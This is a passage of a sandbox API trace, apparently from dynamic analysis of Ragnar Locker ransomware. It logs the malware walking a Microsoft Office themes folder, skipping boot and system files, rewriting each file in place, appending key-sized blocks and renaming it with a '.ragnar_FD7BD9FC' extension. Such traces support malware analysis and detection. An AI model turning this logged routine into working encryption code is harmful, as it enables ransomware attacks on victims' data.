hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.607] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1f4f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1f4f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0070.608] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.608] lstrcpyW (in: lpString1=0x1eab72, lpString2="AFTRNOON.ELM" | out: lpString1="AFTRNOON.ELM") returned="AFTRNOON.ELM" [0070.608] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned=".ELM" [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="autorun.inf") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="boot.ini") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="bootfont.bin") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="bootsect.bak") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="bootmgr") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="bootmgr.efi") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="bootmgfw.efi") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="desktop.ini") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="iconcache.db") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="ntldr") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="ntuser.dat") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="ntuser.dat.log") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="ntuser.ini") returned -1 [0070.608] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="thumbs.db") returned -1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0070.608] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0070.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0070.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.704] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=58766) returned 1 [0070.704] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe585, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.704] GetProcessHeap () returned 0x580000 [0070.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.704] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.705] VirtualAlloc (lpAddress=0x0, dwSize=0xe58e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.706] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.706] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.706] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe58e, lpOverlapped=0x0) returned 1 [0070.710] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.710] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe58e, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe58e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe58e, lpOverlapped=0x0) returned 1 [0070.711] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe58e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.711] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.711] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe58e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.711] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.711] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.712] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.712] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.712] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.712] GetProcessHeap () returned 0x580000 [0070.712] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.712] CloseHandle (hObject=0x100) returned 1 [0070.714] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" [0070.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.ragnar_FD7BD9FC" [0070.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0070.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.717] lstrcpyW (in: lpString1=0x1eab72, lpString2="AFTRNOON.INF" | out: lpString1="AFTRNOON.INF") returned="AFTRNOON.INF" [0070.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned=".INF" [0070.717] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="autorun.inf") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="boot.ini") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="bootfont.bin") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="bootsect.bak") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="bootmgr") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="bootmgr.efi") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="bootmgfw.efi") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="desktop.ini") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="iconcache.db") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="ntldr") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="ntuser.dat") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="ntuser.dat.log") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="ntuser.ini") returned -1 [0070.718] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="thumbs.db") returned -1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0070.718] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0070.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0070.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.719] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=555) returned 1 [0070.719] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x222, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.719] GetProcessHeap () returned 0x580000 [0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.719] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.720] VirtualAlloc (lpAddress=0x0, dwSize=0x22b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.720] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.720] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.720] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x22b, lpOverlapped=0x0) returned 1 [0070.720] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.720] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22b, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.720] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x22b, lpOverlapped=0x0) returned 1 [0070.720] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.720] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.721] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.721] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.721] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.721] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.721] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.721] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.721] GetProcessHeap () returned 0x580000 [0070.721] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.721] CloseHandle (hObject=0x100) returned 1 [0070.722] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" [0070.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.ragnar_FD7BD9FC" [0070.722] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.722] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.722] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0070.722] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned=".GIF" [0070.722] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0070.723] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0070.723] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0070.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0070.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.725] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1569) returned 1 [0070.725] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.725] GetProcessHeap () returned 0x580000 [0070.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.725] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.727] VirtualAlloc (lpAddress=0x0, dwSize=0x621, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.727] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x621, lpOverlapped=0x0) returned 1 [0070.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.727] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x621, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.727] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x621, lpOverlapped=0x0) returned 1 [0070.727] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x621, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.727] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.728] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x621, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.728] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.728] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.728] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.728] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.728] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, 